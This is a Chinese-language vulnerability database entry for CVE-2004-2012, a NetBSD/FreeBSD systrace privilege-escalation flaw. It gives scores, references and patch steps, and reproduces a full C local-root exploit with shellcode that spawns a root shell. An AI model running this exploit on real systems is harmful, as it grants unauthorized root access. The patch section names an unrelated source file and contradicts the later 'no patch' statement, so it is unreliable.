CVE-2004-2012
CVSS7.2
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 23:04:49
NMCOE    

[原文]The systrace_exit function in the systrace utility for NetBSD-current and 2.0 before April 16, 2004, and certain FreeBSD ports, does not verify the owner of the /dec/systrace connection before setting euid to 0, which allows local users to gain root privileges.


[CNNVD]NetBSD/FreeBSD移植的Systrace Exit函数访问验证权限提升漏洞(CNNVD-200412-678)

        
        NetBSD/FreeBSD是开放源代码操作系统,Systrace可通过强制系统调用的访问策略监视并且控制应用程序访问系统。
        NetBSD/FreeBSD的Systrace的实现存在访问验证问题,本地攻击者可以利用这个漏洞提升权限。
        systrace_exit()没有检查连接到systrace的进程是否属于超级用户权限,在exit操作时会设置EUID为0,因此本地攻击者可以利用这个问题提升权限。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:niels:provos_systrace:1.3
cpe:/a:vladimir_kotal:systrace_port_for_freebsd:2004-03-09
cpe:/a:vladimir_kotal:systrace_port_for_freebsd:2004-06-02
cpe:/o:netbsd:netbsd:2.0NetBSD 2.0
cpe:/a:niels:provos_systrace:1.1
cpe:/a:niels:provos_systrace:1.4
cpe:/a:niels:provos_systrace:1.2
cpe:/a:niels:provos_systrace:1.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2012
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2012
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-678
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=108432258920570&w=2
(UNKNOWN)  BUGTRAQ  20040510 Advisory 04/2004: Net(Free)BSD Systrace local root vulnerabilitiy
http://www.securityfocus.com/bid/10320
(UNKNOWN)  BID  10320
http://xforce.iss.net/xforce/xfdb/16110
(UNKNOWN)  XF  systrace-gain-privileges(16110)

- 漏洞信息

NetBSD/FreeBSD移植的Systrace Exit函数访问验证权限提升漏洞
高危 访问验证错误
2004-12-31 00:00:00 2005-10-20 00:00:00
本地  
        
        NetBSD/FreeBSD是开放源代码操作系统,Systrace可通过强制系统调用的访问策略监视并且控制应用程序访问系统。
        NetBSD/FreeBSD的Systrace的实现存在访问验证问题,本地攻击者可以利用这个漏洞提升权限。
        systrace_exit()没有检查连接到systrace的进程是否属于超级用户权限,在exit操作时会设置EUID为0,因此本地攻击者可以利用这个问题提升权限。
        

- 公告与补丁

        厂商补丁:
        NetBSD
        ------
        2004/04/09的NetBSD CVS tree已经修正此漏洞,建议用户从CVS升级,重构和安装内核:
        # cd src
        # cvs update -d -P -r BRANCH sys/kern/sysv_shm.c
        # cd sys/arch/ARCH/conf
        # config KERNCONF
        # cd ../compile/KERNCONF
        # make depend;make
        # mv /netbsd /netbsd.old
        # cp netbsd /
        # reboot

- 漏洞信息 (24113)

NetBSD/FreeBSD Port Systrace 1.x Exit Routine Access Validation Privilege Escalation Vulnerability (EDBID:24113)
bsd local
2004-05-11 Verified
0 Stefan Esser
N/A [点击下载]
source: http://www.securityfocus.com/bid/10320/info

A vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal. 

The source of the issue is insufficient access validation when a systraced process is restoring privileges. 

This issue can be exploited by a local attacker to gain root privileges on a vulnerable system.

#include <stdio.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/systrace.h>

#define systrace_device "/dev/systrace"

char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00"
        "\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50"
        "\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3";

void (*magic)(void) = MAGIC;

int nbsd_systrace_open()
{
        int fd;

        printf("[+] Connecting to %s... ", systrace_device);
        fd = open(systrace_device, O_RDONLY, 0);
        if (fd == -1) {
                perror("failed with error: ");
                printf("\nSorry but the exploit failed\n");
                exit(1);
        }
        printf("done.\n");

        return (fd);
}

int nbsd_attach_parent(int fd)
{
        pid_t pid = getppid();

        printf("[+] Attaching to parent... ");
        if (ioctl(fd, STRIOCATTACH, &pid) == -1) {
                perror("failed with error: ");
                printf("\nSorry but the exploit failed\n");
        }
        printf("done.\n");
        return (0);
}

void nbsd_handle_msg(int fd)
{
        struct str_message msg;
        struct systrace_answer ans;
        int r;

        r = read(fd, &msg, sizeof(msg));

        if (r != sizeof(msg)) {
                exit(1);
        }

        memset(&ans, 0, sizeof(ans));
        ans.stra_pid = msg.msg_pid;
        ans.stra_seqnr = msg.msg_seqnr;
        ans.stra_policy = SYSTR_POLICY_PERMIT;
        ans.stra_flags =
SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID;
        ans.stra_error = 0;
        ans.stra_seteuid = getuid();
        ans.stra_setegid = getgid();

        if (ioctl(fd, STRIOCANSWER, &ans) == -1);

}

void doit()
{
        int p,f,fd;

        fd = nbsd_systrace_open();

        f = fork();

        if (f == 0) {
                sleep(1);
                nbsd_attach_parent(fd);
                while (1) {
                        nbsd_handle_msg(fd);
                }
                exit(1);
        }
        printf("[+] Doing some magic... ");
        sleep(2);
        magic();

        setuid(0);
        setgid(0);

        kill(f, 9);

        if (getuid() != 0) {
                printf("failed.\n");
                printf("\nSorry but the exploit failed.");
                exit(1);
        }

        printf("done.\n\n");

        system("uname -v");
        system("id");
        execlp("/bin/sh", "/bin/sh", 0);
}

void banner()
{
        printf("NetBSD/x86 systrace local root exploit\n");
        printf("by ziegenpeter\n\n");

        if (getuid() == 0) {
                printf("no comment\n");
                exit(1);
        }
}

int main(int argc, char **argv)
{
        int fd;
        banner();
        doit();
        return (0);
}
		

- 漏洞信息

6035
NetBSD Systrace Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity

- 漏洞描述

NetBSD contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered due to insufficient access validation when a systraced process is restoring privileges, which may allow a malicious user to gain root privileges. This flaw may lead to a loss of integrity.

- 时间线

2004-05-11 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站